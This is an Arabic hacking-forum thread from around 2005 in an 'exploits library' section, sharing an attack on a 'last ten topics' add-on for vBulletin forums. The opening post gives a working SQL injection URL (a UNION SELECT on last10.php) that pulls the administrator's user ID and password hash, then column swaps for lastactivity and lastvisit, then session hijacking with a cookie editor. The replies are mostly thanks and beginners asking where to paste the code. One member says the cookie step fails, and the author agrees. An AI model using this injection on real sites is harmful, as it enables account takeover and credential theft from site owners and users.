.:: منتديات العاصفة ::.  

العودة   .:: منتديات العاصفة ::. > أنظمة التشغيل والخوادم > مملكة أمن المواقع والشبكات > مكتبة الثغرات exploits

إضافة رد
 
أدوات الموضوع انواع عرض الموضوع
قديم 31-12-2005, 09:53   #1
::عضو جديد ::
 
الصورة الرمزية كيفن متنك العرب
 
تاريخ التسجيل: Jan 2005
المشاركات: 25
ثغرة آخر عشرة مواضيع بثوبها الجديد....مع كيفن متنك

السلام عليكم ورحمة الله وبركاتة

المكتشف : العندليب
المطووور : كيفن متنك العرب
الرجاء عدم اهمال الحقوق

هذا شرح للثغرة التي تعتمد على ثغرة اخر عشرة مواضيع
والتي بعد تطبيقها تقوم بعمل ثغرة الفلاش مع الكووكيز


1-
تحدد المنتدى ويجب ان يكون مصاب بثغرة اخر عشرة مواضيع



بعد ذلك نستخدم
هذا الكود لا ستخراج
الباس المشفر


كود:
last10.php?ftitle=%20WHERE%20userid=0%20UNION%20SELECT%20null, userid, password, null, null, null, null, null, null%20FROM%20user%20WHERE%20usergroupid=6%20LIMIT%201/*

وبعد اسخراجه نغير

password

الى
userid
ونطبق

ويعطينا رقم العضوية



ثم نغير
userid
الى
lastactivity

ويطلعه لنا


ثم نغير
lastactivity
الى
lastvisit

ويطلع لنا وبذلك يكون كل ما هو مطلوب لدينا

ونروح لبرنامج محرر الكوكيز
كيفن متنك العرب غير متصل   رد مع اقتباس
قديم 31-12-2005, 09:54   #2
::عضو جديد ::
 
الصورة الرمزية كيفن متنك العرب
 
تاريخ التسجيل: Jan 2005
المشاركات: 25
وأي سؤال انا حاضر

تحياتي
كيفن متنك العرب غير متصل   رد مع اقتباس
قديم 01-01-2006, 01:17   #3
:: عضو مميز ::
 
تاريخ التسجيل: Oct 2004
المشاركات: 150
مشكور اخوي على الثغره وجاري التجريب
هكرتالف غير متصل   رد مع اقتباس
قديم 01-01-2006, 01:50   #4
:: عضو نشيط ::
 
الصورة الرمزية عاصفةالصحراء
 
تاريخ التسجيل: Dec 2005
المشاركات: 51
ممكن تشرح اكثر يعني كيف نضع الكود وين نحطه

شلون يصل الابلاغ عن الباسورد

والله ماني فاهم شي بهاي الثغرة ممكن توضح بالتفصيل اخوي
عاصفةالصحراء غير متصل   رد مع اقتباس
قديم 01-01-2006, 07:55   #5
:: عضو محترف ::
 
الصورة الرمزية SaUdi-VirUs
 
تاريخ التسجيل: Jun 2005
الدولة: ( k.(s).a )
المشاركات: 590
حياك الله اخوي كيفن في منتداك الثاني

وماشاء الله عليك مبدع والله

وننتظر منك كل جديد يالغالي



تحياتي
__________________
سنعود قريبا إن شاء الله

أدعولي بالتوفيق

nick : devil-x , team : black hat's crew , age : 19

SaUdi-VirUs غير متصل   رد مع اقتباس
قديم 02-01-2006, 12:25   #6
:: تخصص سيكيورتي ::
 
الصورة الرمزية القرصان
 
تاريخ التسجيل: Dec 2002
الدولة: اللينكس
المشاركات: 974
قديمة مره بس للأسف لسا في ناس مركبة العشر مواضيع هذا الي موجوده فيه الثغرة

ومشكور على المشاركة

تحياتي
__________________
***نحن قوم أعزنا الله بالإسلام ..... فمهما إبتغينا العزة بغيره أذلنا الله***

حياكم الله في موقعكم موقع القرصان دروس وبرامج حماية
http://www.alqursan.com
القرصان غير متصل   رد مع اقتباس
قديم 02-01-2006, 11:42   #7
:: عضو نشيط ::
 
تاريخ التسجيل: Jul 2004
المشاركات: 39
كيفن اتحداك تدخل عن طريق الكوكيز بالباسورد اللي تستخرجه من اخر عشر مواضيع

لان هذا كوكيز وهذا باسورد اصلي وسلامتك

عبدالله
عبدالله00 غير متصل   رد مع اقتباس
قديم 02-01-2006, 11:43   #8
:: عضو نشيط ::
 
تاريخ التسجيل: Jul 2004
المشاركات: 39
نسيت لاقول شغله

هذي الطريقه فاشله مع احترامي لك
عبدالله00 غير متصل   رد مع اقتباس
قديم 03-01-2006, 02:48   #9
::عضو جديد ::
 
الصورة الرمزية كيفن متنك العرب
 
تاريخ التسجيل: Jan 2005
المشاركات: 25
صح فاشلة










بس حطيتها من باب الاستزادة






تحياتي
كيفن متنك العرب غير متصل   رد مع اقتباس
قديم 04-01-2006, 10:33   #10
::عضو جديد ::
 
تاريخ التسجيل: Mar 2005
المشاركات: 2
معليش ياجماعه انا مبتدئ

الكود يااخ كيفن وين احطه بالضبط
الشويش عطيه غير متصل   رد مع اقتباس
قديم 04-01-2006, 01:57   #11
::عضو جديد ::
 
الصورة الرمزية كيفن متنك العرب
 
تاريخ التسجيل: Jan 2005
المشاركات: 25
شوف هذا الموضوووع وانت تفهم
http://www.3asfh.net/vb/showthread.php?t=38830
كيفن متنك العرب غير متصل   رد مع اقتباس
قديم 05-01-2006, 04:37   #12
:: عضو نشيط ::
 
تاريخ التسجيل: Aug 2005
المشاركات: 30
اخ عبدالله الطريقة فاشلة ، ممكن تتفضل وتورينا طريقتك المو فاشلة ؟؟؟؟
لو شاطر بس تعلق بجمل مالها لزمة وتضيع وقتك وتخرب مواضيع الناس ؟

انا شاكر للأخ لأبعد الحدود على مشاركته ولو الثغرة قديمة ، بس على الأقل شاركنا
وحاول يفيدنا انت شستفدنا منك بالله يالشيخ ؟؟

ولا شي طبعاً عموما ربي يهديك

والأخ كيفين متينك ،، شكراً لك مرة ثانية بس عندي ملاحظة وهي
ان البرنامج مايشتغل جربت طريقتك ماشتغل نفس رسالة الخطأ تظهر هل
هناك برنامج آخر يقوم بنفس المجال ؟؟
وشكرا وربي لا يهينك يا رجال

ايرور هاكر
Error Hacker غير متصل   رد مع اقتباس
قديم 05-01-2006, 05:41   #13
::عضو جديد ::
 
الصورة الرمزية كيفن متنك العرب
 
تاريخ التسجيل: Jan 2005
المشاركات: 25
اي برنامج حبيبي


تحياتي
كيفن متنك العرب غير متصل   رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة

الانتقال السريع


الساعة الآن 01:45


Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2014, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.